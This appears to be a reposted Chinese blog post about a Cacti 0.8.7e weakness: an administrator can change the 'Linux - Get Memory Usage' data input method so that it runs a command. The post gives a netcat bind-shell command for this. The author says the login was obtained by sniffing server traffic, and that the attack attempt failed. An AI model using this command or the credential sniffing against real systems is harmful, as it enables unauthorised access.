Cacti 远程SHELL测试失败!

简介:

Cacti是一款轮循数据库(RRD)工具,可帮助从数据库信息创建图形,有多个Linux版本。

 

 

 

Cacti多个跨站脚本和HTML注入漏洞

受影响系统: 
Cacti Cacti 0.8.7e

由于配置Cacti的WEB界面的权限设置过于宽松,cacti管理员可以以运行Cacti投票机制用户的权限(通常为非特权用户)在系统上执行任意命令。
例如,可以通过更改Linux - Get Memory Usage的Data Input Method在Cacti系统上生成后门或远程shell。将Input String设置为nohup nc -l -p 6666 -n -e /bin/sh &
就会在调用这个处理器的时候生成远程可访问的shell。

以下是测试截图。

主要信息窗

 

 

设备运行状态窗

 

 

创建用户

 

 修改Linux - Get Memory Usage 框里的指令

 

 

通过服务器嗅探获得了Cacti的登陆用户和口令,对应版本GOOGLE了一下,说是可以通过Get Memory Usage做远程SHELL,兴冲冲就测试了一下,结果失败,希望成功过的大牛们指点一下。在CMD连接SHELL失败。。。



本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/582715,如需转载请自行联系原作者


相关文章
|
测试技术 Shell
shell脚本写的班级管理系统测试用例
shell脚本写的班级管理系统测试用例
96 1
|
7月前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】⭐⭐⭐Linux 测试与目标主机之间的网络连接ping 命令 使用指南
【Shell 命令集合 网络通讯 】⭐⭐⭐Linux 测试与目标主机之间的网络连接ping 命令 使用指南
187 1
|
Shell 测试技术
Shell编程实战的命令测试
Shell编程实战的命令测试
58 1
|
2月前
|
分布式计算 Hadoop Shell
Hadoop-35 HBase 集群配置和启动 3节点云服务器 集群效果测试 Shell测试
Hadoop-35 HBase 集群配置和启动 3节点云服务器 集群效果测试 Shell测试
76 4
|
4月前
|
Shell
[shell]在curl测试的data参数中引用变量
[shell]在curl测试的data参数中引用变量
232 1
|
7月前
|
Oracle 关系型数据库 大数据
助力工业物联网,工业大数据之服务域:Shell调度测试【三十三】
助力工业物联网,工业大数据之服务域:Shell调度测试【三十三】
55 1
|
7月前
|
Shell Windows Perl
Shell编程自动化之数学运算与条件测试
本文主要介绍了Shell编程自动化之数学运算与条件测试,并结合实例测试。
53 0
|
7月前
|
关系型数据库 MySQL Shell
MySQL【实践 01】Linux 环境 MySQL 数据库备份 shell 脚本(脚本源码及说明+定时任务配置+数据库恢复测试)粘贴可以
MySQL【实践 01】Linux 环境 MySQL 数据库备份 shell 脚本(脚本源码及说明+定时任务配置+数据库恢复测试)粘贴可以
159 0
|
Shell 5G
Shell脚本创建指定大小文件的测试数据
Shell脚本创建指定大小文件的测试数据
81 0
|
运维 Shell C语言
运维(10)- shell条件测试
运维(10)- shell条件测试
60 0